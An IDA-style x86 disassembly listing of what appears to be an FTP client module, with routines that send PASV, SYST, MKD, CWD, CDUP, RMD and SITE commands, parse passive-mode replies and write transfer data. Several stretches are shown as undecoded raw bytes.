arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 134h
		push	ebx
		mov	ebx, [esp+138h+arg_0]
		push	ebp
		push	esi
		mov	eax, [ebx+18h]
		xor	ebp, ebp
		mov	esi, 1
		cmp	eax, ebp
		push	edi
		mov	[esp+144h+var_120], bp
		mov	[esp+144h+var_11E], bp
		mov	[esp+144h+var_11C], esi
		jnz	loc_42D8A4
		mov	eax, [esp+144h+arg_C]
		cmp	eax, esi
		jz	short loc_42D5E2
		cmp	eax, 2
		jz	short loc_42D5E2
		push	eax
		add	ebx, 44h
		push	offset aInvalidDirecti ; "Invalid direction %d\n"
		push	ebx
		nop
		call	near ptr 77C3F931h
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_42D5E2:				; CODE XREF: sub_42D580+3Aj
					; sub_42D580+3Fj
		mov	eax, [esp+144h+arg_8]
		cmp	eax, 41h
		jz	short loc_42D614
		cmp	eax, 49h
		jz	short loc_42D614
		push	eax
		add	ebx, 44h
		push	offset aInvalidModeC ; "Invalid	mode %c\n"
		push	ebx
		call	near ptr 77C3F931h
		nop
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_42D614:				; CODE XREF: sub_42D580+6Cj
					; sub_42D580+71j
		mov	eax, [ebx+24h]
		mov	[esp+144h+var_124], 10h
		cmp	eax, esi
		jnz	loc_42D6F9
		xor	eax, eax
		push	ebx
		mov	[esp+148h+var_134], eax
		push	32h
		mov	[esp+14Ch+var_130], eax
		push	offset aPasv	; "PASV"
		mov	[esp+150h+var_12C], eax
		mov	word ptr [esp+150h+var_134], 2
		mov	[esp+150h+var_128], eax
		call	sub_42D1A0
		add	esp, 0Ch
		test	eax, eax
		jz	loc_42D8A4
		lea	ecx, [ebx+44h]
		push	28h
		push	ecx
		call	near ptr 77C47660h
		nop
		add	esp, 8
		cmp	eax, ebp
		jz	loc_42D8A4
		lea	edx, [esp+144h+var_114]
		lea	ecx, [esp+144h+var_118]
		push	edx
		push	ecx
		lea	edx, [esp+14Ch+var_104]
		lea	ecx, [esp+14Ch+var_108]
		push	edx
		push	ecx
		lea	edx, [esp+154h+var_10C]
		lea	ecx, [esp+154h+var_110]
		push	edx
		push	ecx
		inc	eax
		push	offset aUUUUUU	; "%u,%u,%u,%u,%u,%u"
		push	eax
		call	near ptr 77C41B72h
		nop
		mov	dl, [esp+164h+var_110]
		mov	al, [esp+164h+var_10C]
		mov	cl, [esp+164h+var_108]
		mov	byte ptr [esp+164h+var_130], dl
		mov	dl, [esp+164h+var_104]
		mov	byte ptr [esp+164h+var_130+1], al
		mov	al, [esp+164h+var_118]
		mov	byte ptr [esp+164h+var_130+2], cl
		mov	cl, [esp+164h+var_114]
		add	esp, 20h
		mov	byte ptr [esp+144h+var_130+3], dl
		mov	byte ptr [esp+144h+var_134+2], al
		mov	byte ptr [esp+144h+var_134+3], cl
		push	6
		push	esi
		push	2
		call	sub_436F3C
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0FFFF83F8h, 50684D75h, 90004454h, 809709E8h,	4C48377h
		dd 5E5FC70Bh, 0C4815B5Dh, 134h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_42D6F9:				; CODE XREF: sub_42D580+A1j
		mov	ecx, [ebx+8]
		lea	edx, [esp+144h+var_124]
		lea	eax, [esp+144h+var_134]
		push	edx
		push	eax
		push	ecx
		call	sub_436F2A
; ---------------------------------------------------------------------------
		dd 0BD7DC085h, 44557068h, 96D8E800h, 83907780h,	0C03304C4h
		dd 5B5D5E5Fh, 134C481h,	8DC30000h, 6A282454h, 46A5204h
		dd 0FFFF68h, 45E85700h,	83000098h, 0A75FFF8h, 44544068h
		dd 147E900h, 448D0000h,	46A2424h, 806850h, 0FF680000h
		dd 570000FFh, 981FE8h, 0FFF88300h, 40680A75h, 0E9004454h
		dd 121h, 75247339h, 244C8D20h, 51106A10h, 97BCE857h, 0F8830000h
		dd 0EC850FFFh, 68000000h, 445240h, 0FCE9h, 24548D00h, 52106A10h
		dd 6C896657h, 85E81E24h, 83000097h, 775FFF8h, 44556868h
		dd 5610EB00h, 9760E857h, 0C0850000h, 6068217Dh,	90004455h
		dd 809625E8h, 4C48377h,	9730E857h, 5E5F0000h, 5BC0335Dh
		dd 134C481h, 8DC30000h,	8D202444h, 5010244Ch, 37E85751h
		dd 85000097h, 5F0D7DC0h, 0C0335D5Eh, 34C4815Bh,	0C3000001h
		dd 1324548Bh, 1224448Bh, 17244C8Bh, 0FFE281h, 0FF250000h
		dd 52000000h, 1A24548Bh, 0FFE181h, 8B500000h, 511D2444h
		dd 20244C8Bh, 0FFE281h,	0FF250000h, 52000000h, 0FFE181h
		dd 51500000h, 5C24548Dh, 44554468h, 0E8905200h,	778120DDh
		dd 24448D53h, 50326A68h, 0FFF93FE8h, 2CC483FFh,	1375C085h
		dd 9698E857h, 5E5F0000h, 5BC0335Dh, 134C481h, 68C30000h
		dd 144h, 3CE89056h, 8B777FE8h, 8C483F0h, 2275F53Bh, 44543868h
		dd 57E89000h, 83778095h, 0E85704C4h, 9662h
; ---------------------------------------------------------------------------


loc_42D8A4:				; CODE XREF: sub_42D580+2Bj
					; sub_42D580+D2j ...
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		add	esp, 134h
		retn
sub_42D580	endp

; ---------------------------------------------------------------------------
		dw 0BC83h
		dd 15024h, 41754100h, 200068h, 40E89000h, 83777FEBh, 0C53B04C4h
		dd 75144689h, 5438682Ch, 0E8900044h, 77809516h,	5704C483h
		dd 9621E8h, 0E8905600h,	777FE92Fh, 8304C483h, 5E5FFFC8h
		dd 0C4815B5Dh, 134h, 248C8BC3h,	154h, 89087E89h, 538B184Eh
		dd 28568928h, 892C438Bh, 4B8B2C46h, 344E8934h, 89284E8Bh
		dd 6E89386Eh, 3C438B40h, 4689CD3Bh, 390E753Ch, 9752C6Eh
		dd 575C53Bh, 0EB306E89h, 30538B06h, 8B305689h, 14C2484h
		dd 895F0000h, 0B85D5E30h, 1, 34C4815Bh,	0C3000001h, 90909090h
		dd 40h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42DA60	proc near		; CODE XREF: sub_42D2C0+1BEp

var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 124h
		push	ebx
		mov	ebx, [esp+128h+arg_0]
		push	ebp
		push	esi
		mov	esi, [esp+130h+arg_4]
		mov	eax, [ebx+8]
		xor	ebp, ebp
		push	edi
		mov	ecx, [esi+8]
		mov	[esp+134h+var_FC], eax
		cmp	ecx, eax
		mov	[esp+134h+var_100], ecx
		mov	[esp+134h+var_104], 2
		mov	[esp+134h+var_118], ebp
		mov	[esp+134h+var_11C], 1Eh
		jge	short loc_42DAA2
		mov	ecx, eax


loc_42DAA2:				; CODE XREF: sub_42DA60+3Ej
		lea	eax, [esp+134h+var_11C]
		lea	edx, [esp+134h+var_104]
		push	eax
		push	ebp
		push	ebp
		inc	ecx
		push	edx
		push	ecx
		call	sub_436F12
sub_42DA60	endp

; ---------------------------------------------------------------------------
		db 83h,	0F8h, 0FFh
		dd 683E75h, 90000001h, 7F17F7E8h, 50008B77h, 972CE890h
		dd 0C4837780h, 44C68304h, 0E8905650h, 77819FB4h, 83084B8Bh
		dd 0E8510CC4h, 941Eh, 86B895Fh,	0C0335D5Eh, 24C4815Bh
		dd 0C3000001h, 2975C53Bh, 0B9447E8Dh, 8, 4455D0BEh, 0A4A5F300h
		dd 5208538Bh, 93F1E8h, 6B895F00h, 335D5E08h, 0C4815BC0h
		dd 124h, 84B8BC3h, 3024448Dh, 2DE85150h, 85000094h, 8B7A74C0h
		dd 548D084Bh, 448D1424h, 50522024h, 2444C751h, 1020h, 93BAE800h
		dd 0F88B0000h, 1762E890h, 108B777Fh, 5008438Bh,	14245489h
		dd 939DE8h, 7EFD3B00h, 87B8913h, 0B85D5E5Fh, 1,	24C4815Bh
		dd 0C3000001h, 10244C8Bh, 10068h, 6BE85100h, 90778096h
		dd 8304C483h, 565044C6h, 9EF2E890h, 0C4837781h,	86B890Ch
		dd 5E5FC033h, 0C4815B5Dh, 124h,	8468BC3h, 3024548Dh, 0A1E85052h
		dd 85000093h, 8B2474C0h, 0E851084Bh, 933Ah, 89326A56h
		dd 39E8086Bh, 83FFFFEFh, 0C03308C4h, 5B5D5E5Fh,	124C481h
		dd 8BC30000h, 5F102444h, 815B5D5Eh, 124C4h, 9090C300h
		dd 2 dup(90909090h), 1Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DC70	proc near		; CODE XREF: sub_402248j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		cmp	dword ptr [esi+18h], 1
		jz	short loc_42DC81
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DC81:				; CODE XREF: sub_42DC70+Aj
		mov	eax, [esi+14h]
		push	esi
		test	eax, eax
		jz	short loc_42DC9D
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		push	ecx
		call	sub_42CC50
		add	esp, 0Ch
		jmp	short loc_42DCC4
; ---------------------------------------------------------------------------


loc_42DC9D:				; CODE XREF: sub_42DC70+17j
		call	sub_42CE80
		add	esp, 4
		cmp	eax, 1
		jz	short loc_42DCAF
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DCAF:				; CODE XREF: sub_42DC70+38j
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]
		mov	ecx, [esi+8]
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_436EFA
; ---------------------------------------------------------------------------


loc_42DCC4:				; CODE XREF: sub_42DC70+2Bj
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_42DCD0
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DCD0:				; CODE XREF: sub_42DC70+59j
		mov	ecx, [esi+38h]
		add	ecx, edi
		mov	[esi+38h], ecx
		mov	edx, ecx
		mov	ecx, [esi+30h]
		test	ecx, ecx
		jz	short loc_42DD0F
		mov	eax, [esi+3Ch]
		test	eax, eax
		jz	short loc_42DD0F
		push	ebx
		mov	ebx, [esi+40h]
		add	ebx, edi
		mov	[esi+40h], ebx
		cmp	ebx, eax
		pop	ebx
		jle	short loc_42DD0F
		mov	eax, [esi+34h]
		push	eax
		push	edx
		push	esi
		call	ecx
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42DD08
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DD08:				; CODE XREF: sub_42DC70+93j
		mov	dword ptr [esi+40h], 0


loc_42DD0F:				; CODE XREF: sub_42DC70+6Fj
					; sub_42DC70+76j ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42DC70	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DD50	proc near		; CODE XREF: sub_4021F3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		cmp	dword ptr [esi+18h], 2
		jz	short loc_42DD61
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DD61:				; CODE XREF: sub_42DD50+Aj
		mov	eax, [esi+14h]
		push	esi
		test	eax, eax
		jz	short loc_42DD7D
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		push	ecx
		call	sub_42DE20
		add	esp, 0Ch
		jmp	short loc_42DD9A
; ---------------------------------------------------------------------------


loc_42DD7D:				; CODE XREF: sub_42DD50+17j
		call	sub_42CE80
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esi+8]
		add	esp, 4
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_436F00
; ---------------------------------------------------------------------------


loc_42DD9A:				; CODE XREF: sub_42DD50+2Bj
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_42DDA6
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DDA6:				; CODE XREF: sub_42DD50+4Fj
		mov	edx, [esi+38h]
		mov	eax, [esi+30h]
		add	edx, edi
		test	eax, eax
		mov	[esi+38h], edx
		jz	short loc_42DDDC
		mov	ecx, [esi+3Ch]
		test	ecx, ecx
		jz	short loc_42DDDC
		push	ebx
		mov	ebx, [esi+40h]
		add	ebx, edi
		mov	[esi+40h], ebx
		cmp	ebx, ecx
		pop	ebx
		jle	short loc_42DDDC
		mov	ecx, [esi+34h]
		push	ecx
		push	edx
		push	esi
		call	eax
		add	esp, 0Ch
		mov	dword ptr [esi+40h], 0


loc_42DDDC:				; CODE XREF: sub_42DD50+63j
					; sub_42DD50+6Aj ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42DD50	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DE20	proc near		; CODE XREF: sub_42DD50+23p
					; sub_42DFD0+28p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_8]
		push	esi
		xor	esi, esi
		xor	al, al
		mov	ecx, [ebp+18h]
		push	edi
		cmp	ecx, 2
		jz	short loc_42DE3C
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42DE3C:				; CODE XREF: sub_42DE20+12j
		mov	ecx, [esp+10h+arg_4]
		mov	edi, [ebp+14h]
		xor	ebx, ebx
		test	ecx, ecx
		jle	loc_42DF64


loc_42DE4D:				; CODE XREF: sub_42DE20+AFj
		mov	ecx, [esp+10h+arg_0]
		cmp	byte ptr [ebx+ecx], 0Ah
		jnz	short loc_42DE8E
		cmp	al, 0Dh
		jz	short loc_42DE8E
		cmp	esi, 2000h
		jnz	short loc_42DE89
		push	ebp
		call	sub_42CE80
		add	esp, 4
		test	eax, eax
		jz	short loc_42DEEA
		mov	edx, [ebp+8]
		push	0
		push	esi
		push	edi
		push	edx
		call	sub_436F00
; ---------------------------------------------------------------------------
		mov	esi, eax
		cmp	esi, 2000h
		jnz	short loc_42DEF1
		xor	esi, esi


loc_42DE89:				; CODE XREF: sub_42DE20+41j
		mov	byte ptr [edi+esi], 0Dh
		inc	esi


loc_42DE8E:				; CODE XREF: sub_42DE20+35j
					; sub_42DE20+39j
		cmp	esi, 2000h
		jnz	short loc_42DEBC
		push	ebp
		call	sub_42CE80
		add	esp, 4
		test	eax, eax
		jz	short loc_42DEEA
		mov	eax, [ebp+8]
		push	0
		push	esi
		push	edi
		push	eax
		call	sub_436F00
; ---------------------------------------------------------------------------
		mov	esi, eax
		cmp	esi, 2000h
		jnz	short loc_42DF11
		xor	esi, esi


loc_42DEBC:				; CODE XREF: sub_42DE20+74j
		mov	ecx, [esp+10h+arg_0]
		inc	esi
		mov	al, [ebx+ecx]
		mov	ecx, [esp+10h+arg_4]
		mov	[edi+esi-1], al
		inc	ebx
		cmp	ebx, ecx
		jl	loc_42DE4D
		test	esi, esi
		jz	loc_42DF64
		push	ebp
		call	sub_42CE80
		add	esp, 4
		test	eax, eax
		jnz	short loc_42DF31


loc_42DEEA:				; CODE XREF: sub_42DE20+4Ej
					; sub_42DE20+81j
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42DEF1:				; CODE XREF: sub_42DE20+65j
		nop
		call	near ptr 77C1F2BCh
		mov	edx, [eax]
		push	edx
		push	esi
		push	offset aNet_write1Retu ; "net_write(1) returned	%d, errno = %d\n"
		nop
		call	near ptr 77C4186Ah
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42DF11:				; CODE XREF: sub_42DE20+98j
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		push	eax
		push	esi
		push	offset aNet_write2Retu ; "net_write(2) returned	%d, errno = %d\n"
		nop
		call	near ptr 77C4186Ah
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42DF31:				; CODE XREF: sub_42DE20+C8j
		mov	ecx, [ebp+8]
		push	0
		push	esi
		push	edi
		push	ecx
		call	sub_436F00
; ---------------------------------------------------------------------------
		dw 0F88Bh
		dd 2074FE3Bh, 1372E890h, 108B777Fh, 0F8685752h,	0E8004455h
		dd 77813912h, 0CC48390h, 5FFFC883h, 0C35B5D5Eh
; ---------------------------------------------------------------------------


loc_42DF64:				; CODE XREF: sub_42DE20+27j
					; sub_42DE20+B7j
		mov	eax, [esp+10h+arg_4]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_42DE20	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DFD0	proc near		; CODE XREF: sub_401BDBj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+18h]
		sub	eax, 0
		jz	short loc_42E04B
		dec	eax
		jz	short loc_42E000
		dec	eax
		jz	short loc_42DFEC


loc_42DFE4:				; CODE XREF: sub_42DFD0+64j
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DFEC:				; CODE XREF: sub_42DFD0+12j
		mov	eax, [esi+14h]
		test	eax, eax
		jz	short loc_42E000
		push	esi
		push	0
		push	0
		call	sub_42DE20
		add	esp, 0Ch


loc_42E000:				; CODE XREF: sub_42DFD0+Fj
					; sub_42DFD0+21j
		mov	eax, [esi+14h]
		push	ebx
		mov	ebx, dword_50FAC4
		test	eax, eax
		jz	short loc_42E014
		push	eax
		call	ebx	; free
		add	esp, 4


loc_42E014:				; CODE XREF: sub_42DFD0+3Cj
		mov	eax, [esi+8]
		push	2
		push	eax
		call	sub_436F9C
; ---------------------------------------------------------------------------
		mov	ecx, [esi+8]
		push	ecx
		call	sub_436F06
; ---------------------------------------------------------------------------
		mov	edi, [esi+1Ch]
		push	esi
		call	ebx	; free
		add	esp, 4
		test	edi, edi
		pop	ebx
		jz	short loc_42DFE4
		push	edi
		push	32h
		mov	dword ptr [edi+20h], 0
		call	sub_42CB10
		add	esp, 8
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E04B:				; CODE XREF: sub_42DFD0+Cj
		mov	eax, [esi+20h]
		test	eax, eax
		jz	short loc_42E062
		push	esi
		mov	dword ptr [esi+1Ch], 0
		call	sub_401BDB
		add	esp, 4


loc_42E062:				; CODE XREF: sub_42DFD0+80j
		mov	edx, [esi+8]
		push	edx
		call	sub_436F06
sub_42DFD0	endp

; ---------------------------------------------------------------------------
		db 56h
		dd 7FE1AAE8h, 0C4839077h, 5FC03304h, 9090C35Eh,	90909090h
		dd 0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42E0B0:				; CODE XREF: ___:00401CE4j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42E0D9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E0D9:				; CODE XREF: ___:0042E0D0j
		push	edx
		lea	eax, [esp+4]
		push	offset aSiteS	; "SITE	%s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D1A0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E130:				; CODE XREF: ___:004016C2j
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+14h]
		push	edi
		push	32h
		push	offset aSyst	; "SYST"
		call	sub_42D1A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42E151
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E151:				; CODE XREF: ___:0042E14Cj
		mov	eax, [esp+10h]
		lea	ecx, [edi+48h]
		lea	edx, [eax-1]
		test	edx, edx
		jz	short loc_42E16C


loc_42E15F:				; CODE XREF: ___:0042E16Aj
		mov	al, [ecx]
		cmp	al, 20h
		jz	short loc_42E16C
		mov	[esi], al
		inc	esi
		inc	ecx
		dec	edx
		jnz	short loc_42E15F


loc_42E16C:				; CODE XREF: ___:0042E15Dj
					; ___:0042E163j
		mov	byte ptr [esi],	0
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E1A0:				; CODE XREF: ___:0040224Dj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42E1C9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E1C9:				; CODE XREF: ___:0042E1C0j
		push	edx
		lea	eax, [esp+4]
		push	offset aMkdS	; "MKD %s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D1A0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E220:				; CODE XREF: ___:0040225Cj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42E249
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E249:				; CODE XREF: ___:0042E240j
		push	edx
		lea	eax, [esp+4]
		push	offset aCwdS	; "CWD %s"
		push	eax
		call	near ptr 77C3F931h
		nop
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D1A0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E2A0:				; CODE XREF: ___:00401780j
		mov	eax, [esp+4]
		push	eax
		push	32h
		push	offset aCdup	; "CDUP"
		call	sub_42D1A0
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E2D0:				; CODE XREF: ___:004021FDj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42E2F9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E2F9:				; CODE XREF: ___:0042E2F0j
		push	edx
		lea	eax, [esp+4]
		push	offset aRmdS	; "RMD %s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D1A0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E350:				; CODE XREF: ___:0040166Dj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+14h]
		push	edi
		push	32h
		push	offset off_4456BC
		call	sub_42D1A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42E371
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E371:				; CODE XREF: ___:0042E36Cj
		add	edi, 44h
		push	22h
		push	edi
		nop
		call	near ptr 77C47660h
		add	esp, 8
		test	eax, eax
		jnz	short loc_42E387
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E387:				; CODE XREF: ___:0042E382j
		mov	ecx, [esp+10h]
		inc	eax
		lea	edx, [ecx-1]
		test	edx, edx
		jz	short loc_42E3A5


loc_42E393:				; CODE XREF: ___:0042E3A3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42E3A5
		cmp	cl, 22h
		jz	short loc_42E3A5
		mov	[esi], cl
		inc	esi
		inc	eax
		dec	edx
		jnz	short loc_42E393


loc_42E3A5:				; CODE XREF: ___:0042E391j
					; ___:0042E397j ...
		mov	byte ptr [esi],	0
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E3D0:				; CODE XREF: ___:00401127j
		mov	eax, [esp+0Ch]
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	41h
		push	1
		push	eax
		push	ecx
		push	edx
		call	sub_42E400
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E400	proc near		; CODE XREF: ___:0042E3E3p
					; ___:0042E663p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	ebx
		push	ebp
		xor	ebp, ebp
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_10]
		cmp	eax, ebp
		mov	[esp+14h+var_4], 1
		jz	short loc_42E48A
		mov	esi, [esp+14h+arg_C]
		mov	cx, word_4456FC
		cmp	esi, 4
		mov	word ptr [esp+14h+arg_10], cx
		mov	word ptr [esp+14h+arg_10+2], bp
		jnz	short loc_42E43A
		mov	byte ptr [esp+14h+arg_10], 72h


loc_42E43A:				; CODE XREF: sub_42E400+33j
		cmp	edi, 49h
		jnz	short loc_42E444
		mov	byte ptr [esp+14h+arg_10+1], 62h


loc_42E444:				; CODE XREF: sub_42E400+3Dj
		lea	edx, [esp+14h+arg_10]
		push	edx
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	ebx, eax
		add	esp, 8
		cmp	ebx, ebp
		jnz	short loc_42E4A4
		push	100h
		call	near ptr 77C1F2BCh
		nop
		mov	eax, [eax]
		push	eax
		nop
		call	near ptr 77C371FAh
		mov	ecx, [esp+1Ch+arg_8]
		add	esp, 4
		add	ecx, 44h
		push	eax
		push	ecx
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42E48A:				; CODE XREF: sub_42E400+19j
		mov	esi, [esp+14h+arg_C]
		cmp	esi, 4
		jnz	short loc_42E49B
		mov	ebx, dword_50FA84
		jmp	short loc_42E4A4
; ---------------------------------------------------------------------------


loc_42E49B:				; CODE XREF: sub_42E400+91j
		mov	edx, dword_50FA84
		lea	ebx, [edx+20h]


loc_42E4A4:				; CODE XREF: sub_42E400+57j
					; sub_42E400+99j
		mov	ecx, [esp+14h+arg_8]
		mov	edx, [esp+14h+arg_4]
		lea	eax, [esp+14h+arg_C]
		push	eax
		push	ecx
		push	edi
		push	esi
		push	edx
		call	sub_401F55
		add	esp, 14h
		test	eax, eax
		jnz	short loc_42E4C7
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42E4C7:				; CODE XREF: sub_42E400+BFj
		push	2000h
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		cmp	esi, 4
		mov	edi, eax
		jnz	short loc_42E53D
		mov	ebp, dword_50FAA4
		push	ebx
		push	2000h
		push	1
		push	edi
		call	ebp	; fread
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		jle	loc_42E593


loc_42E4FA:				; CODE XREF: sub_42E400+11Fj
		mov	eax, [esp+14h+arg_C]
		push	eax
		push	esi
		push	edi
		call	sub_4021F3
		add	esp, 0Ch
		cmp	eax, esi
		jl	short loc_42E523
		push	ebx
		push	2000h
		push	1
		push	edi
		call	ebp	; fread
		mov	esi, eax
		add	esp, 10h
